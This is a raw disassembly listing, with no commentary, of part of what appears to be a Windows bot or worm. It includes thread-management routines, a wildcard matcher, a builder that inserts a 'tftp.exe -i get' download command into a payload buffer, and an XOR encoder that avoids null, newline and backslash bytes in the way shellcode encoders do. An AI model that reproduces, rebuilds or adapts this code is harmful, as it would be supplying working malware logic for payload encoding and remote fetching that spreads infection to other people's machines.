loc_414C4B:				; CODE XREF: sub_4149DE+264j
		push	offset unk_437A38

loc_414C50:				; CODE XREF: sub_4149DE+26Bj
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_415A6A
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_414C80
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D4C
		add	esp, 14h

loc_414C80:				; CODE XREF: sub_4149DE+286j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_40B16D
		pop	ecx

loc_414C8D:				; CODE XREF: sub_4149DE+206j
					; sub_4149DE+20Fj ...
		inc	bl
		shr	[ebp+var_4], 1
		jnz	loc_414BDC

loc_414C98:				; CODE XREF: sub_4149DE+1F8j
		lea	eax, [ebp+var_220]
		push	offset unk_4379F4
		push	eax
		call	sub_4154E7
		pop	ecx
		xor	ebx, ebx
		pop	ecx
		pop	edi
		jmp	short loc_414CC3
; ---------------------------------------------------------------------------

loc_414CB0:				; CODE XREF: sub_4149DE+173j
		lea	eax, [ebp+var_220]
		push	offset unk_437688
		push	eax
		call	sub_4154E7
		pop	ecx
		pop	ecx

loc_414CC3:				; CODE XREF: sub_4149DE+2D0j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_414CE1
		push	ebx
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D4C
		add	esp, 14h

loc_414CE1:				; CODE XREF: sub_4149DE+2E8j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_40B16D
		pop	ecx
		push	1
		pop	eax
		pop	esi
		pop	ebx
		leave
		retn
sub_4149DE	endp


; =============== S U B	R O U T	I N E =======================================



sub_414CF5	proc near		; CODE XREF: sub_414D15+Ap
					; sub_414DED+8p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_415CF0
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_415CF0
		pop	ecx
		lea	eax, [esi+eax*2+0C1h]
		pop	ecx
		pop	esi
		retn
sub_414CF5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414D15	proc near		; CODE XREF: sub_414E04+49p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_414CF5
		cmp	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		jbe	short loc_414D32
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------

loc_414D32:				; CODE XREF: sub_414D15+17j
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_8]
		call	sub_415CF0
		push	[ebp+arg_C]
		mov	esi, eax
		call	sub_415CF0
		mov	edi, eax
		mov	ebx, [ebp+arg_0]
		push	0FFFFFFEDh
		lea	eax, [edi+esi+12h]
		mov	dword_437C90, eax
		lea	eax, [edi+1]
		mov	dword_437CB1, eax
		lea	eax, [edi+17h]
		mov	dword_437CA9, eax
		pop	eax
		push	74h
		sub	eax, edi
		push	offset dword_437C2C
		push	ebx
		mov	dword_437CBF, eax
		call	sub_4155D0
		push	esi
		lea	eax, [ebx+74h]
		push	[ebp+arg_8]
		push	eax
		call	sub_4155D0
		add	esi, 74h
		push	5
		push	(offset	aTftp_exeIGet+0Ch)
		lea	eax, [esi+ebx]
		push	eax
		call	sub_4155D0
		add	esi, 5
		push	edi
		push	[ebp+arg_C]
		lea	eax, [esi+ebx]
		push	eax
		call	sub_4155D0
		add	esi, edi
		push	10h
		push	(offset	aTftp_exeIGet+11h)
		lea	eax, [esi+ebx]
		push	eax
		call	sub_4155D0
		add	esp, 44h
		add	esi, 10h
		push	edi
		lea	eax, [esi+ebx]
		push	[ebp+arg_C]
		push	eax
		call	sub_4155D0
		add	esi, edi
		push	38h
		add	esi, ebx
		push	offset byte_437CB5
		push	esi
		call	sub_4155D0
		mov	eax, [ebp+var_4]
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_414D15	endp


; =============== S U B	R O U T	I N E =======================================



sub_414DED	proc near		; CODE XREF: sub_414E04+Dp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_414CF5
		push	eax
		call	sub_414E71
		add	esp, 0Ch
		retn
sub_414DED	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414E04	proc near		; CODE XREF: sub_403178+32p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_8]
		push	edi
		mov	edi, [ebp+arg_C]
		push	edi
		push	ebx
		call	sub_414DED
		cmp	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		ja	short loc_414E24
		cmp	eax, 0FFFFh
		jbe	short loc_414E28

loc_414E24:				; CODE XREF: sub_414E04+17j
		xor	eax, eax
		jmp	short loc_414E6D
; ---------------------------------------------------------------------------

loc_414E28:				; CODE XREF: sub_414E04+1Ej
		push	esi
		push	edi
		push	ebx
		call	sub_414CF5
		add	eax, 101h
		push	eax
		call	sub_415DC9
		add	esp, 0Ch
		mov	esi, eax
		push	edi
		push	ebx
		push	edi
		push	ebx
		call	sub_414CF5
		pop	ecx
		pop	ecx
		push	eax
		push	esi
		call	sub_414D15
		push	eax
		push	esi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_414E8C
		push	esi
		mov	edi, eax
		call	sub_415E3D
		add	esp, 24h
		mov	eax, edi
		pop	esi

loc_414E6D:				; CODE XREF: sub_414E04+22j
		pop	edi
		pop	ebx
		pop	ebp
		retn
sub_414E04	endp


; =============== S U B	R O U T	I N E =======================================



sub_414E71	proc near		; CODE XREF: sub_414DED+Ep
					; sub_414E8C+4Ap

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	cl, cl
		jnz	short loc_414E7A
		inc	ecx

loc_414E7A:				; CODE XREF: sub_414E71+6j
		mov	eax, 0FFh
		cmp	eax, ecx
		sbb	eax, eax
		and	eax, 2
		add	eax, 15h
		add	eax, ecx
		retn
sub_414E71	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414E8C	proc near		; CODE XREF: sub_414E04+56p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	byte ptr [ebp+arg_C], 0Ah
		jz	short loc_414EA8
		cmp	byte ptr [ebp+arg_C], 0Dh
		jz	short loc_414EA8
		cmp	byte ptr [ebp+arg_C], 5Ch
		jz	short loc_414EA8
		cmp	byte ptr [ebp+arg_C], 0
		jnz	short loc_414EAB

loc_414EA8:				; CODE XREF: sub_414E8C+8j
					; sub_414E8C+Ej ...
		inc	[ebp+arg_C]

loc_414EAB:				; CODE XREF: sub_414E8C+1Aj
		push	esi
		mov	esi, 0FFh
		cmp	[ebp+arg_C], esi
		jbe	short loc_414ED3
		mov	eax, [ebp+arg_C]
		shr	eax, 8
		cmp	al, 0Ah
		jz	short loc_414ECC
		cmp	al, 0Dh
		jz	short loc_414ECC
		cmp	al, 5Ch
		jz	short loc_414ECC
		test	al, al
		jnz	short loc_414ED3

loc_414ECC:				; CODE XREF: sub_414E8C+32j
					; sub_414E8C+36j ...
		add	[ebp+arg_C], 100h

loc_414ED3:				; CODE XREF: sub_414E8C+28j
					; sub_414E8C+3Ej
		push	[ebp+arg_C]
		call	sub_414E71
		cmp	eax, [ebp+arg_4]
		pop	ecx
		mov	[ebp+var_4], eax
		ja	short loc_414EEB
		cmp	eax, 0FFFFh
		jbe	short loc_414EF2

loc_414EEB:				; CODE XREF: sub_414E8C+56j
		xor	eax, eax
		jmp	loc_414F90
; ---------------------------------------------------------------------------

loc_414EF2:				; CODE XREF: sub_414E8C+5Dj
		mov	ecx, [ebp+arg_C]
		push	ebx
		mov	bl, byte_469488
		xor	edx, edx
		push	edi
		mov	edi, [ebp+arg_8]
		test	ecx, ecx
		jbe	short loc_414F22

loc_414F06:				; CODE XREF: sub_414E8C+94j
		mov	al, [edx+edi]
		xor	al, bl
		jz	short loc_414F19
		cmp	al, 0Ah
		jz	short loc_414F19
		cmp	al, 0Dh
		jz	short loc_414F19
		cmp	al, 5Ch
		jnz	short loc_414F1D

loc_414F19:				; CODE XREF: sub_414E8C+7Fj
					; sub_414E8C+83j ...
		inc	bl
		xor	edx, edx

loc_414F1D:				; CODE XREF: sub_414E8C+8Bj
		inc	edx
		cmp	edx, ecx
		jb	short loc_414F06

loc_414F22:				; CODE XREF: sub_414E8C+78j
		cmp	ecx, esi
		mov	byte_469488, bl
		ja	short loc_414F4E
		push	15h
		push	offset loc_437C14
		push	[ebp+arg_0]
		mov	byte_437C21, cl
		mov	byte_437C25, bl
		call	sub_4155D0
		add	esp, 0Ch
		push	15h
		jmp	short loc_414F6F
; ---------------------------------------------------------------------------

loc_414F4E:				; CODE XREF: sub_414E8C+9Ej
		push	17h
		push	offset loc_437BFC
		push	[ebp+arg_0]
		mov	word_437C0A, cx
		mov	byte_437C0F, bl
		call	sub_4155D0
		add	esp, 0Ch
		push	17h

loc_414F6F:				; CODE XREF: sub_414E8C+C0j
		xor	eax, eax
		pop	ecx
		cmp	[ebp+arg_C], eax
		jbe	short loc_414F8B
		mov	edx, [ebp+arg_0]
		lea	esi, [ecx+edx]

loc_414F7D:				; CODE XREF: sub_414E8C+FDj
		mov	cl, [eax+edi]
		xor	cl, bl
		mov	[esi+eax], cl
		inc	eax
		cmp	eax, [ebp+arg_C]
		jb	short loc_414F7D

loc_414F8B:				; CODE XREF: sub_414E8C+E9j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	ebx

loc_414F90:				; CODE XREF: sub_414E8C+61j
		pop	esi
		leave
		retn
sub_414E8C	endp


; =============== S U B	R O U T	I N E =======================================



sub_414F93	proc near		; CODE XREF: sub_406100+220p
					; sub_407276+F0p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		xor	edi, edi
		mov	eax, offset dword_43F348

loc_414F9B:				; CODE XREF: sub_414F93+18j
		cmp	byte ptr [eax],	0
		jz	short loc_414FAF
		add	eax, 234h
		inc	edi
		cmp	eax, offset dword_468838
		jl	short loc_414F9B
		jmp	short loc_414FFA
; ---------------------------------------------------------------------------

loc_414FAF:				; CODE XREF: sub_414F93+Bj
		push	esi
		mov	esi, edi
		imul	esi, 234h
		push	1FFh
		push	[esp+0Ch+arg_0]
		lea	eax, dword_43F348[esi]
		push	eax
		call	sub_416D40
		mov	eax, [esp+14h+arg_4]
		add	esp, 0Ch
		mov	dword_43F548[esi], eax
		and	dword_43F54C[esi], 0
		mov	eax, [esp+8+arg_8]
		and	dword_43F550[esi], 0
		mov	dword_43F554[esi], eax
		and	byte_43F560[esi], 0
		pop	esi

loc_414FFA:				; CODE XREF: sub_414F93+1Aj
		mov	eax, edi
		pop	edi
		retn
sub_414F93	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414FFE	proc near		; DATA XREF: sub_40CE55+5631o

var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 98h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		rep movsd
		push	[ebp+var_10]
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_94]
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		call	sub_415050
		push	[ebp+var_14]
		call	sub_4152AF
		add	esp, 14h
		push	0
		call	dword_421048
		pop	edi
		pop	esi
sub_414FFE	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415050	proc near		; CODE XREF: sub_414FFE+38p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	esi
		push	edi
		push	0
		push	[ebp+arg_8]
		push	offset aThreadList ; "-[Thread List]-"
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D4C
		add	esp, 14h
		xor	edi, edi
		mov	esi, offset dword_43F348

loc_41507A:				; CODE XREF: sub_415050+78j
		cmp	byte ptr [esi],	0
		jz	short loc_4150BB
		cmp	[ebp+arg_C], 0
		jnz	short loc_41508E
		cmp	dword ptr [esi+204h], 0
		jnz	short loc_4150BB

loc_41508E:				; CODE XREF: sub_415050+33j
		push	esi
		push	edi
		lea	eax, [ebp+var_200]
		push	offset aD_S	; "%d. %s"
		push	eax
		call	sub_4154E7
		push	1
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D4C
		add	esp, 24h

loc_4150BB:				; CODE XREF: sub_415050+2Dj
					; sub_415050+3Cj
		add	esi, 234h
		inc	edi
		cmp	esi, offset dword_468838
		jl	short loc_41507A
		pop	edi
		pop	esi
		leave
		retn
sub_415050	endp


; =============== S U B	R O U T	I N E =======================================



sub_4150CE	proc near		; CODE XREF: sub_40CE55+4A16p
					; sub_41515C+12p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		xor	ebx, ebx
		xor	ebp, ebp
		cmp	esi, ebx
		jle	short loc_415156
		cmp	esi, 12Ch
		jge	short loc_415156
		imul	esi, 234h
		push	edi
		push	ebx
		push	dword_43F55C[esi]
		lea	edi, dword_43F55C[esi]
		call	dword_421130
		cmp	[edi], ebx
		jz	short loc_415106
		push	1
		pop	ebp

loc_415106:				; CODE XREF: sub_4150CE+33j
		mov	[edi], ebx
		lea	edi, dword_43F550[esi]
		mov	dword_43F548[esi], ebx
		mov	dword_43F54C[esi], ebx
		mov	eax, [edi]
		cmp	eax, ebx
		jbe	short loc_415127
		push	eax
		call	sub_414061
		pop	ecx

loc_415127:				; CODE XREF: sub_4150CE+50j
		mov	[edi], ebx
		lea	edi, dword_43F554[esi]
		mov	byte ptr dword_43F348[esi], bl
		mov	byte_43F560[esi], bl
		push	dword ptr [edi]
		call	dword_43A450
		lea	esi, dword_43F558[esi]
		mov	[edi], ebx
		push	dword ptr [esi]
		call	dword_43A450
		mov	[esi], ebx
		pop	edi

loc_415156:				; CODE XREF: sub_4150CE+Dj
					; sub_4150CE+15j
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_4150CE	endp


; =============== S U B	R O U T	I N E =======================================



sub_41515C	proc near		; CODE XREF: sub_409E15:loc_409E39p
					; sub_40C59A+18p ...
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		xor	edi, edi
		mov	esi, offset dword_43F348

loc_415168:				; CODE XREF: sub_41515C+2Aj
		cmp	byte ptr [esi],	0
		jz	short loc_415179
		push	edi
		call	sub_4150CE
		test	eax, eax
		pop	ecx
		jz	short loc_415179
		inc	ebx

loc_415179:				; CODE XREF: sub_41515C+Fj
					; sub_41515C+1Aj
		add	esi, 234h
		inc	edi
		cmp	esi, offset dword_468838
		jl	short loc_415168
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_41515C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41518E	proc near		; CODE XREF: sub_40CE55+1CC9p
					; sub_40CE55+1D37p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], ebx
		mov	esi, offset dword_43F54C

loc_4151A2:				; CODE XREF: sub_41518E+43j
		mov	eax, [esi-4]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_4151C4
		test	edi, edi
		jle	short loc_4151B6
		cmp	[esi], edi
		jz	short loc_4151B6
		cmp	ebx, edi
		jnz	short loc_4151C4

loc_4151B6:				; CODE XREF: sub_41518E+1Ej
					; sub_41518E+22j
		push	ebx
		call	sub_4150CE
		test	eax, eax
		pop	ecx
		jz	short loc_4151C4
		inc	[ebp+var_4]

loc_4151C4:				; CODE XREF: sub_41518E+1Aj
					; sub_41518E+26j ...
		add	esi, 234h
		inc	ebx
		cmp	esi, offset dword_468A3C
		jl	short loc_4151A2
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41518E	endp


; =============== S U B	R O U T	I N E =======================================



sub_4151DB	proc near		; CODE XREF: sub_4071FF+Bp
					; sub_407276+2Dp ...

arg_0		= dword	ptr  4

		xor	eax, eax
		mov	ecx, offset dword_43F548

loc_4151E2:				; CODE XREF: sub_4151DB+1Cj
		mov	edx, [ecx]
		cmp	edx, [esp+arg_0]
		jnz	short loc_4151EB
		inc	eax

loc_4151EB:				; CODE XREF: sub_4151DB+Dj
		add	ecx, 234h
		cmp	ecx, offset dword_468A38
		jl	short loc_4151E2
		retn
sub_4151DB	endp


; =============== S U B	R O U T	I N E =======================================



sub_4151FA	proc near		; CODE XREF: sub_40CE55+50EBp

arg_0		= dword	ptr  4

		xor	eax, eax
		push	esi
		xor	edx, edx
		mov	ecx, offset dword_43F548

loc_415204:				; CODE XREF: sub_4151FA+1Fj
		mov	esi, [ecx]
		cmp	esi, [esp+4+arg_0]
		jz	short loc_41521D
		add	ecx, 234h
		inc	edx
		cmp	ecx, offset dword_468A38
		jl	short loc_415204
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41521D:				; CODE XREF: sub_4151FA+10j
		mov	eax, edx
		pop	esi
		retn
sub_4151FA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415221	proc near		; CODE XREF: sub_40CE55+1062p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		xor	eax, eax
		cmp	[ebp+arg_1C], eax
		jz	short loc_41523A
		push	[ebp+arg_1C]
		call	sub_415A5F
		pop	ecx

loc_41523A:				; CODE XREF: sub_415221+Ej
		push	eax
		push	[ebp+arg_18]
		call	sub_41518E
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_415266
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	offset aSSStopped_DThr ; "%s: %s stopped. (%d thread(s)	stopped.)"...
		push	eax
		call	sub_4154E7
		add	esp, 14h
		jmp	short loc_415280
; ---------------------------------------------------------------------------

loc_415266:				; CODE XREF: sub_415221+26j
		push	[ebp+arg_14]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_10]
		push	offset aSNoSThreadFoun ; "%s: No %s thread found."
		push	eax
		call	sub_4154E7
		add	esp, 10h

loc_415280:				; CODE XREF: sub_415221+43j
		cmp	[ebp+arg_C], 0
		jnz	short loc_4152A0
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D4C
		add	esp, 14h

loc_4152A0:				; CODE XREF: sub_415221+63j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_40B16D
		pop	ecx
		leave
		retn
sub_415221	endp


; =============== S U B	R O U T	I N E =======================================



sub_4152AF	proc near		; CODE XREF: sub_401000+A2p
					; sub_401447+8Dp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		imul	eax, 234h
		mov	dword_43F55C[eax], ecx
		mov	dword_43F548[eax], ecx
		mov	dword_43F54C[eax], ecx
		mov	dword_43F550[eax], ecx
		mov	dword_43F554[eax], ecx
		mov	dword_43F558[eax], ecx
		mov	byte ptr dword_43F348[eax], cl
		mov	byte_43F560[eax], cl
		retn
sub_4152AF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4152EC	proc near		; CODE XREF: sub_40CE55+5BF6p
					; sub_41541A+6Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		push	1
		pop	eax

loc_4152F6:				; CODE XREF: sub_4152EC+68j
		mov	cl, [esi]
		test	cl, cl
		jz	short loc_415356
		cmp	eax, 1
		jnz	short loc_415356
		mov	edx, [ebp+arg_4]
		mov	dl, [edx]
		test	dl, dl
		jz	short loc_415356
		cmp	cl, 2Ah
		jz	short loc_41533D
		cmp	cl, 3Fh
		jz	short loc_415320
		cmp	cl, 5Bh
		jz	short loc_415325
		xor	eax, eax
		cmp	cl, dl
		setz	al

loc_415320:				; CODE XREF: sub_4152EC+26j
		inc	[ebp+arg_4]
		jmp	short loc_415350
; ---------------------------------------------------------------------------

loc_415325:				; CODE XREF: sub_4152EC+2Bj
		lea	eax, [ebp+arg_4]
		inc	esi
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		mov	[ebp+arg_0], esi
		call	sub_415382
		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_415350
; ---------------------------------------------------------------------------

loc_41533D:				; CODE XREF: sub_4152EC+21j
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		call	sub_41541A
		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		dec	esi

loc_415350:				; CODE XREF: sub_4152EC+37j
					; sub_4152EC+4Fj
		inc	esi
		mov	[ebp+arg_0], esi
		jmp	short loc_4152F6
; ---------------------------------------------------------------------------

loc_415356:				; CODE XREF: sub_4152EC+Ej
					; sub_4152EC+13j ...
		cmp	byte ptr [esi],	2Ah
		jnz	short loc_415366
		cmp	eax, 1
		jnz	short loc_41537D
		inc	esi
		mov	[ebp+arg_0], esi
		jmp	short loc_415356
; ---------------------------------------------------------------------------

loc_415366:				; CODE XREF: sub_4152EC+6Dj
		cmp	eax, 1
		jnz	short loc_41537D
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	0
		jnz	short loc_41537D
		cmp	byte ptr [esi],	0
		jnz	short loc_41537D
		push	1
		pop	eax
		jmp	short loc_41537F
; ---------------------------------------------------------------------------

loc_41537D:				; CODE XREF: sub_4152EC+72j
					; sub_4152EC+7Dj ...
		xor	eax, eax

loc_41537F:				; CODE XREF: sub_4152EC+8Fj
		pop	esi
		pop	ebp
		retn
sub_4152EC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415382	proc near		; CODE XREF: sub_4152EC+45p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edi
		xor	edi, edi
		push	1
		mov	ecx, [edx]
		and	[ebp+var_8], edi
		pop	eax
		cmp	byte ptr [ecx],	21h
		mov	[ebp+var_4], eax
		jnz	short loc_4153A3
		inc	ecx
		mov	[ebp+var_8], eax
		mov	[edx], ecx

loc_4153A3:				; CODE XREF: sub_415382+19j
		push	ebx
		push	esi

loc_4153A5:				; CODE XREF: sub_415382+7Bj
		mov	ecx, [edx]
		mov	bl, [ecx]
		cmp	bl, 5Dh
		jnz	short loc_4153B3
		cmp	[ebp+var_4], eax
		jnz	short loc_4153FF

loc_4153B3:				; CODE XREF: sub_415382+2Aj
		test	edi, edi
		jnz	short loc_4153F4
		cmp	bl, 2Dh
		jnz	short loc_4153E8
		mov	al, [ecx+1]
		lea	esi, [ecx+1]
		mov	cl, [ecx-1]
		cmp	cl, al
		jge	short loc_4153E8
		cmp	al, 5Dh
		jz	short loc_4153E8
		cmp	[ebp+var_4], edi
		jnz	short loc_4153E8
		mov	ebx, [ebp+arg_4]
		mov	ebx, [ebx]
		mov	bl, [ebx]
		cmp	bl, cl
		jl	short loc_4153F4
		cmp	bl, al
		jg	short loc_4153F4
		push	1
		mov	[edx], esi
		pop	edi
		jmp	short loc_4153F4
; ---------------------------------------------------------------------------

loc_4153E8:				; CODE XREF: sub_415382+38j
					; sub_415382+45j ...
		mov	eax, [ebp+arg_4]
		mov	eax, [eax]
		cmp	bl, [eax]
		jnz	short loc_4153F4
		push	1
		pop	edi

loc_4153F4:				; CODE XREF: sub_415382+33j
					; sub_415382+59j ...
		inc	dword ptr [edx]
		and	[ebp+var_4], 0
		push	1
		pop	eax
		jmp	short loc_4153A5
; ---------------------------------------------------------------------------

loc_4153FF:				; CODE XREF: sub_415382+2Fj
		cmp	[ebp+var_8], eax
		pop	esi
		pop	ebx
		jnz	short loc_41540C
		mov	ecx, eax
		sub	ecx, edi
		mov	edi, ecx

loc_41540C:				; CODE XREF: sub_415382+82j
		cmp	edi, eax
		jnz	short loc_415415
		mov	eax, [ebp+arg_4]
		inc	dword ptr [eax]

loc_415415:				; CODE XREF: sub_415382+8Cj
		mov	eax, edi
		pop	edi
		leave
		retn
sub_415382	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41541A	proc near		; CODE XREF: sub_4152EC+59p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], 1
		inc	dword ptr [esi]
		mov	ecx, [esi]
		mov	eax, [edi]
		xor	ebx, ebx

loc_415436:				; CODE XREF: sub_41541A+3Aj
		cmp	[eax], bl
		jz	short loc_415456
		mov	cl, [ecx]
		cmp	cl, 3Fh
		jz	short loc_41544B
		cmp	cl, 2Ah
		jnz	short loc_415456
		cmp	cl, 3Fh
		jnz	short loc_41544E

loc_41544B:				; CODE XREF: sub_41541A+25j
		inc	eax
		mov	[edi], eax

loc_41544E:				; CODE XREF: sub_41541A+2Fj
		inc	dword ptr [esi]
		mov	ecx, [esi]
		mov	eax, [edi]
		jmp	short loc_415436
; ---------------------------------------------------------------------------

loc_415456:				; CODE XREF: sub_41541A+1Ej
					; sub_41541A+2Aj ...
		mov	eax, [esi]
		cmp	byte ptr [eax],	2Ah
		jnz	short loc_415461
		inc	dword ptr [esi]
		jmp	short loc_415456
; ---------------------------------------------------------------------------

loc_415461:				; CODE XREF: sub_41541A+41j
		mov	eax, [edi]
		mov	cl, [eax]
		cmp	cl, bl
		jnz	short loc_415482
		mov	edx, [esi]
		cmp	[edx], bl
		jz	short loc_415473
		xor	eax, eax
		jmp	short loc_4154E2
; ---------------------------------------------------------------------------

loc_415473:				; CODE XREF: sub_41541A+53j
		cmp	cl, bl
		jnz	short loc_415482
		mov	ecx, [esi]
		cmp	[ecx], bl
		jnz	short loc_415482
		push	1
		pop	eax
		jmp	short loc_4154E2
; ---------------------------------------------------------------------------

loc_415482:				; CODE XREF: sub_41541A+4Dj
					; sub_41541A+5Bj ...
		push	eax
		push	dword ptr [esi]
		call	sub_4152EC
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4154CC

loc_415490:				; CODE XREF: sub_41541A+B0j
		inc	dword ptr [edi]
		mov	eax, [edi]

loc_415494:				; CODE XREF: sub_41541A+90j
		mov	ecx, [esi]
		mov	dl, [eax]
		mov	cl, [ecx]
		cmp	cl, dl
		jz	short loc_4154AC
		cmp	cl, 5Bh
		jz	short loc_4154AC
		cmp	dl, bl
		jz	short loc_4154AC
		inc	eax
		mov	[edi], eax
		jmp	short loc_415494
; ---------------------------------------------------------------------------

loc_4154AC:				; CODE XREF: sub_41541A+82j
					; sub_41541A+87j ...
		mov	eax, [edi]
		cmp	[eax], bl
		jz	short loc_4154C3
		push	eax
		push	dword ptr [esi]
		call	sub_4152EC
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_4154C8
; ---------------------------------------------------------------------------

loc_4154C3:				; CODE XREF: sub_41541A+96j
		mov	[ebp+var_4], ebx
		xor	eax, eax

loc_4154C8:				; CODE XREF: sub_41541A+A7j
		cmp	eax, ebx
		jnz	short loc_415490

loc_4154CC:				; CODE XREF: sub_41541A+74j
		mov	eax, [edi]
		cmp	[eax], bl
		jnz	short loc_4154DF
		mov	eax, [esi]
		cmp	[eax], bl
		jnz	short loc_4154DF
		mov	[ebp+var_4], 1

loc_4154DF:				; CODE XREF: sub_41541A+B6j
					; sub_41541A+BCj
		mov	eax, [ebp+var_4]

loc_4154E2:				; CODE XREF: sub_41541A+57j
					; sub_41541A+66j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41541A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4154E7	proc near		; CODE XREF: sub_401000+61p
					; sub_4010B2+308p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
